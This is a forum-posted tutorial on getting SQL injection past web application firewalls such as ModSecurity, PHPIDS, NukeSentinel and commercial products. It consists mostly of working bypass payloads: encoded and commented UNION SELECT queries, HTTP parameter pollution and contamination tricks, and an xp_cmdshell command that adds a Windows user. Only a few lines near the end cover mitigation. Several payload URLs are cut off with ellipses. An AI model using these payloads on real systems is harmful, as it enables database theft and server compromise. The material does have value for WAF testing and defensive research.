[0x01b] - Bypass Regular Expression Filtering
+++++++++++++++++++++++++++++++++++++++++++++++

Regular expression filtering is a better solution to prevent SQL injection than keywords and functions filtering because it is used pattern matching to detect attacks. Valid users are allowed to submit more flexible input to the server.
However, many regular expression can also be bypassed. The following examples illustrate injection scripts that used to bypass regular expressions in the OpenSource PHPIDS 0.6.

PHPIDS generally blocks input containing = or ( or ' following with any a string or integer e.g. 1 or 1=1, 1 or '1', 1 or char(97). However, it can be bypassed using a statement that does not contain =, ( or ' symbols.

---------------------------------------------------------------
filtered injection: 1 or 1 = 1
Bypassed injection: 1 or 1
[End Code]-----------------------------------------------------------
[code]
---------------------------------------------------------------
filtered injection: 1 union select 1, table_name from information_schema.tables where table_name = 'users'
filtered injection: 1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'
filtered injection: 1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)
Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a
Bypassed Injection: 1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273
[End Code]-----------------------------------------------------------



########################################
[0x02] - Normally Bypassing Techniques
########################################

In this section, we mention about the techniques to bypass Web Application Firewall (WAF). First thing you need to know what's WAF?

A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation.
Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application,
many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.
WAFs are often called 'Deep Packet Inspection Firewalls' coz they look at every request and response within the HTTP/HTTPS/SOAP/XML-RPC/Web service lacers.
Some modern WAF systems work both with attack signatures and abnormal behavior.

Now Let's rock to understand How to breach it with obfuscate, All WAFs can be bypassed with the time to understand their rules or using your imagination !!


1. Bypass with Comments

SQL comments allow us to bypass a lot of filtering and WAFs.
[code]
---------------------------------------------------------------
http://victim.com/news.php?id=1+un/**/io...lect+1,2,3--
[End Code]-----------------------------------------------------------


2. Case Changing

Some WAFs filter only lowercase SQL keyword.

Regex Filter: /union\sselect/g
[code]
---------------------------------------------------------------
http://victim.com/news.php?id=1+UnIoN/**...T/**/1,2,3--
[End Code]-----------------------------------------------------------


3. Replaced keywords

Some application and WAFs use preg_replace to remove all SQL keyword. So we can bypass easily.
[code]
---------------------------------------------------------------
http://victim.com/news.php?id=1+UNunionI...LECT+1,2,3--
[End Code]-----------------------------------------------------------

Some case SQL keyword was filtered out and replaced with whitespace. So we can use "%0b" to bypass.
[code]
---------------------------------------------------------------
http://victim.com/news.php?id=1+uni%0bon...lect+1,2,3--
[End Code]-----------------------------------------------------------

For Mod_rewrite, Comments "/**/" cannot bypassed. So we use "%0b" replace "/**/".

Forbidden: http://victim.com/main/news/id/1/**/||/*...,7,1).html
Bypassed : http://victim.com/main/news/id/1%0b||%0b...,7,1).html



4. Character encoding

Most CMSs and WAFs will decode and filter/bypass an application input, but some WAFs only decode the input once so
double encoding can bypass certain filters as the WAF will decode the input once then filter while application keep
decoding the SQL statement executing
[code]
-----------------------------------------------------------------------------------------------------------------
http://victim.com/news.php?id=1%252f%252...%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
[End Code]-------------------------------------------------------------------------------------------------------------

Moreover, these techniques can combine to bypass Citrix Netscaler
- Remove all "NULL" words
- Use query encoding in some parts
- Remove the single quote character "'"
- And Have fun !!
Credit: Wendel Guglielmetti Henrique

and "Armorlogic Profense" prior to 2.4.4 was bypassed by URL-encoded newline character.


#Real World Example

1. NukeSentinel (Nuke Evolution)

[Nukesentinel.php Code]------------------------------------------------------------
// Check for UNION attack
// Copyright 2004© Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}
[End Code]-------------------------------------------------------------------------

We can bypass their filtering with these script:

Forbidden: http://victim.com/php-nuke/?/**/union/**/select…..
Bypassed : http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select…
Bypassed : http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect…


2. Mod Security CRS (Credit: Johannes Dahse)

[SecRule]--------------------------------------------------------------------------
SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}?\bselect\b" \ "phase2,rev:'2.2.1',capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
[End Rule]-------------------------------------------------------------------------

We can bypass their filtering with this code:
[code]
------------------------------------------------------------------------------
http://victim.com/news.php?id=0+div+1+un...rrent_user
[End Code]--------------------------------------------------------------------------

From this attack, We can bypass Mod Security rule. Let see what's happen !!

MySQL Server supports 3 comment styles:
- From a "#" character to the end of the line
- From a "--" sequence to the end of the line
- From a /* sequence to the following */ sequence, as in the C programming language.
This syntax enables a comment to extend over multiple lines because the beginning and closing sequences need
not be on the same line.

The following example, We used "%0D%0A" as the new line characters. Let's take a look at the first request(to extract the DB user)
The resulting SQL payload looked something like this:

0 div 1 union#foo*/*/bar
select#foo
1,2,current_user

However the SQL payload, when executed by the MySQL DB, looked something like this:

0 div 1 union select 1,2,current_user


5. Buffer Overflow

WAFs that written in the C language prone to overflow or act differently when loaded with a bunch of data.
Give a large amount of data allows our code executing
[code]
------------------------------------------------------------------------------
http://victim.com/news.php?id=1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141414141
414141414141….)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
[End Code]--------------------------------------------------------------------------


6. Inline Comments (Mysql Only)

From MySQL 5.0 Reference Manual, MySQL Server supports some variants of C-style comments. These enable you to write
code that includes MySQL extensions, but is still portable, by using comments of the following form:

/*! MySQL-specific code */

In this case, MySQL Server parses and executes the code within the comment as it would any other SQL statement,
but other SQL servers will ignore the extensions.

A lot of WAFs filter SQL keywords like /union\sselect\ig We can bypass this filter by using inline comments.
[code]
------------------------------------------------------------------------------
http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--
[End Code]--------------------------------------------------------------------------

Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can
add more inline comments
[code]
------------------------------------------------------------------------------
http://victim.com/news.php?id=/*!UnIoN*/...a*/.tables
/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
[End Code]--------------------------------------------------------------------------



########################################
[0x03] - Advanced Bypassing Techniques
########################################

In this section, we offer 2 techniques are "HTTP Pollution: Split and Join" and "HTTP Parameter Contamination".
From these techniques can bypass a lot of OpenSource and Commercial Web application firewall (WAF)


++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x03a] - HTTP Parameter Pollution: Split and Join
++++++++++++++++++++++++++++++++++++++++++++++++++++

HTTP Pollution is a new class of injection vulnerability by Luca Carettoni and Stefano Di Paola. HPP is a quite simple but
effective hacking technique. HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting
query string.

Example of HPP: "http://victim.com/search.aspx?par1=val1&par1=val2"

HTTP Parameter Handling: (Example)

+------------------------------------------------------------------+
| Web Server | Parameter Interpretation | Example |
+------------------------------------------------------------------+
| ASP.NET/IIS | Concatenation by comma | par1=val1,val2 |
| ASP/IIS | Concatenation by comma | par1=val1,val2 |
| PHP/Apache | The last param is resulting | par1=val2 |
| JSP/Tomcat | The first param is resulting | par1=val1 |
| Perl/Apache | The first param is resulting | par1=val1 |
| DBMan | Concatenation by two tildes | par1=val1~~val2 |
+------------------------------------------------------------------+

What would happen with WAFs that do Query String parsing before applying filters ? (HPP can be used even to bypass WAFs)
Some loose WAFs may analyze and validate a single parameter occurrence only (first or last one). Whenever the deal environment concatenates
multiple occurrences (ASP, ASP.NET, DBMan,…) an aggressor can split the malicious payload.

In a recent penetration test (Again), we were able to bypass a Imperva SecureSphere using "HPP+Inline Comment" on ASP/ASP.NET environment.
This technique can bypass other Commercial WAFs too. More information about "HPP+Inline Comment" show below:


#Real World Example:

1. Mod Security CRS (Credit: Lavakumar Kuppan)

The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked.

Forbidden: http://victim.com/search.aspx?q=select name,password from users

When the same payload is split against multiple parameters of the same name ModSecurity fails to block it.

Bypassed : http://victim.com/search.aspx?q=select name&q=password from users


Let's see what's happen, ModSecurity's interpretation is

q=select name
q=password from users

ASP/ASP.NET's interpretation is
q=select name,password from users

*Tip: This attack can be carried out on a POST variable in a similar way


2. Commercial WAFs

Forbidden: http://victim.com/search.aspx?q=select name,password from users

Now we use HPP+Inline comment to bypass it.

Bypassed : http://victim.com/search.aspx?q=select/*...&q=*/users


Analyzing, WAF's interpretation is

q=select/*
q=*/name
q=password/*
q=*/from/*
q=*/users

ASP/ASP.NET's interpretation is
q=select/*,*/name,password/*,*/from/*,*/users
q=select name,password from users


3. IBM Web Application Firewall (Credit: Wendel Guglielmetti Henrique of Trustwave's SpiderLabs)

Forbidden: http://victim.com/news.aspx?id=1'; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT /add” --

Now we use HPP+Inline comment to bypass it.

Bypassed : http://victim.com/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ “net user lucifer UrWaFisShiT” /*&id=1*/ --


Analyzing, WAF's interpretation is

id=1’; /*
id=1*/ EXEC /*
id=1*/ master..xp_cmdshell /*
id=1*/ “net user zeq3ul UrWaFisShiT” /*
id=1*/ --

ASP/ASP.NET's interpretation is
id=1’; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ “net user zeq3ul UrWaFisShiT” /*,1*/ --
id=1’; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT” --


The easiest mitigation to this attack would be for the WAF to disallow multiple instances of the same parameter in a single HTTP request.
This would prevent all variations of this attack.
However this might not be possible in all cases as some applications might have a legitimate need for multiple duplicate parameters.
And they might be designed to send and accept multiple HTTP parameters of the same name in the same request.To protect these applications the WAF
should also interpret the HTTP request in the same way the web application would.


++++++++++++++++++++++++++++++++++++++++
[0x03b] - HTTP Parameter Contamination
++++++++++++++++++++++++++++++++++++++++

HTTP Parameter Contamination (HPC) original idea comes from the innovative approach found in HPP research by
exploring deeper and exploiting strange behaviors in Web Server components, Web Applications and Browsers as a result of query string
parameter contamination with reserved or non expects characters.

Some facts:
- The term Query String is commonly used to refer to the part between the "?" and the end of the URI
- As defined in the RFC 3986, it is a series of field-value pairs
- Pairs are separated by "&" or ";"
- RFC 2396 defines two classes of characters:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `

Different web servers have different logic for processing special created requests. There are more web server, backend platform and special character combinations,
but we will stop here this time.

Query string and Web server response (Example)

+-----------------------------------------------------------+
| Query String | Web Servers response / GET values |
+-----------------------------------------------------------+
| | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP |
+-----------------------------------------------------------+
| ?test[1=2 | test_1=2 | test[1=2 |
| ?test=% | test=% | test= |
| ?test%00=1 | test=1 | test=1 |
| ?test=1%001 | NULL | test=1 |
| ?test+d=1+2 | test_d=1 2 | test d=1 2 |
+-----------------------------------------------------------+

Magic character "%" affect to ASP/ASP.NET

+--------------------------------------------------------------------+
| Keywords | WAF | ASP/ASP.NET |
+--------------------------------------------------------------------+
| sele%ct * fr%om.. | sele%ct * fr%om.. | select * from.. |
| ;dr%op ta%ble xxx | ;dr%op ta%ble xxx | ;drop table xxx |
| <scr%ipt> | <scr%ipt> | <script> |
| <if%rame> | <if%rame> | <iframe> |
+--------------------------------------------------------------------+


#Real world examples:

1. Bypass Mod_Security SQL Injection rule (modsecurity_crs_41_sql_injection_attacks.conf)

[Filtered]----------------------------------------------------------------------------------

[Sun Jun 12 12:30:16 2011] [error] [client 192.168.2.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\bsys\\.user_objects\\b"
at ARGS_NAMESConfusedys.user_objects. [file "/etc/apache2/conf.d/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "110"] [id "959519"]
[rev "2.2.0"] [msg "Blind SQL Injection Attack"] [data "sys.user_objects"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"]
[tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/"] [unique_id "TfT3gH8AAQEAAAPyLQQAAAAA"]

[End Code]------------------------------------------------------------------------------

Forbidden: http://localhost/?xp_cmdshell
Bypassed : http://localhost/?xp[cmdshell

2. Bypass URLScan 3.1 DenyQueryStringSequences rule

Forbidden: http://localhost/test.asp?file=../bla.txt
Bypassed : http://localhost/test.asp?file=.%./bla.txt

3. Bypass AQTRONIX Webknight (WAF for IIS and ASP/ASP.Net)

Forbidden: http://victim.com/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables)
Bypassed : http://victim.com/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)

From this situation, Webknight use SQL keywords filtering when we use "HTTP contamination" by insert "%" into SQL keywords WAF is bypassed and sending these
command to Web server: "id=10 and 1=0/(select top 1 table_name from information_schema.tables)" because "%" is cutter in web server.


These types of hacking techniques are always interesting because they reveal new perspectives on security problems.
Many applications are found to be vulnerable to this kind of abuse because there are no defined rules for strange web server behaviors.
HPC can be used to extend HPP attack with spoofing real parameter name in the QUERY_STRING with "%" character on an IIS/ASP platform,
if there is WAF who blocks this kind of an attack.



######################################
# [0x04] -How to protect your website#
######################################

- Implement Software Development Life Cycle (SDLC)
- Secure Coding: Validate all inputs and outputs
- PenTest before online
- Harden it !!
- Revisit PenTest
- Deploy WAF (For Optional)
- Always check WAF patch


#####################
#[0x05] - Conclusion#
#####################

- WAFs is not the long-expected
- It's functional limitations, WAF is not able to protect a web app from all possible vulnerabilities
- It's necessary to adapt WAF filter to the particular web app being protected
- WAF doesn't eliminate a vulnerability, It just partly screens the attack vector


#####################
#[0x06] - References#
#####################

[1] WAF Bypass: SQL Injection - Kyle
[2] http://cwe.mitre.org/data/definitions/98.html
[3] HTTP Parameter Contamination - Ivan Markovic NSS
[4] Split and Join - Lavakumar Kuppan
[5] HTTP Parameter Pollution - Luca Carettoni and Stefano di Paola
[6] blog.spiderlabs.com


####################
[0x07] - Greetz To
####################

Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
Special Thx : Exploit-db.com


----------------------------------------------------
Our disclosure purpose isn't helping security products but need to reveal theirs shit.
Security Products not able to 100% protect from damn config/coding of admin.
Just need a time and imagination for breach it !!
----------------------------------------------------
In The Name of Lord Rama

Forum Jump:

Users browsing this thread: 1 Guest(s)